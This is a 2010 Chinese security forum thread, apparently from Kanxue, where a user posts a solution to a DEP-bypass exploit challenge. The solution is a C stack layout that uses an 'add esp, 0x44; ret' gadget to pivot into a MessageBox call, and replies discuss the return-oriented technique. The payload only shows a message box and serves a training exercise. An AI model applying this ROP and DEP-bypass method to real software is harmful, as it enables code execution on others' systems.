首页
社区
课程
招聘
[分享]发个过DEP的第一题答案,就是有点大32个字节
发表于: 2010-10-22 06:09 7819

[分享]发个过DEP的第一题答案,就是有点大32个字节

2010-10-22 06:09
7819
思路很简单,溢出后已经可以把数据写到堆栈里了。 只把要压入的数据预先先入到exploit指定的地方, 在CODE里找到0x00401B8D 这个地址是add esp, 44;ret 直接滑到预先设定好的地方 就可以在代码段执行代码并且正常返回,但是返回后由于ESP没有方法返回到正常的位置,出现引用原先局部变量时出错。

堆栈内容如下:

    *(DWORD *)(g_ShellCodeBuffer + 0x00) = 0x00401B8D;//保存返回地址 <- add esp, 0x44;ret
    *(DWORD *)(g_ShellCodeBuffer + 0x1C) = 0x004011CE;//指向MessageBox返回地址              <- 0x0012FC94
    *(DWORD *)(g_ShellCodeBuffer + 0x20) = 0x00000000;//MessageBox Arg1(HANDLE)                <- 0x0012FC98
    *(DWORD *)(g_ShellCodeBuffer + 0x24) = 0x0012FCAC;//MessageBox Arg2(Context)            <- 0x0012FC9C
    *(DWORD *)(g_ShellCodeBuffer + 0x28) = 0x0040606C;//MessageBox Arg3(Title)                <- 0x0012FCA0
    *(DWORD *)(g_ShellCodeBuffer + 0x2C) = 0x00000000;//MessageBox Arg4(MB_OK)                <- 0x0012FCA4
    *(DWORD *)(g_ShellCodeBuffer + 0x30) = 0x0040116C;//原返回地址                          <- 0x0012FCA8
    memcpy(g_ShellCodeBuffer + 0x34, __STR_SUCCESS__, 30);//字符串 <- 0x0012FCAC
    *(DWORD *)(g_ShellCodeBuffer + 0x80) = 0x0012FC78;//指向保存返回地址
没有发这个。 发了个很通常的。 这里膜拜一下forgot牛。。。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
2
回头跟玩命兄探讨下,你的出发点真正是exploiter的出发点。
2010-10-22 07:43
0
雪    币: 205
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
终于有人放ROP啊 膜拜
2010-10-22 09:09
0
雪    币: 8209
活跃值: (4458)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
4
我很认真的数了好几遍,明明是33个字节
2010-10-22 09:26
0
雪    币: 7115
活跃值: (639)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
5
呃。。。 我数错了。。。 不好意思。。。
2010-10-22 10:42
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
6
这跟我在http://bbs.pediy.com/showthread.php?t=122883&page=3第37楼中回复的思路是类似的,重点就是add esp, xx, retn yy指令做跳板。
而且找到的指令是CODE里面的,比我找的系统DLL的稳定,当时我只搜了add esp, 28,没有往下搜大于28h,所以错过了,比我好的另一点是少了一个跳板,直接把MessageBox作为retn的返回地址,从而实现过DEP。
但是和我当时一样最后这个指向保存返回地址还是没有能不使用堆栈中的值,因此通用性还是。依然希望能看到解决这个问题的。
2010-10-22 16:28
0
游客
登录 | 注册 方可回帖
返回
//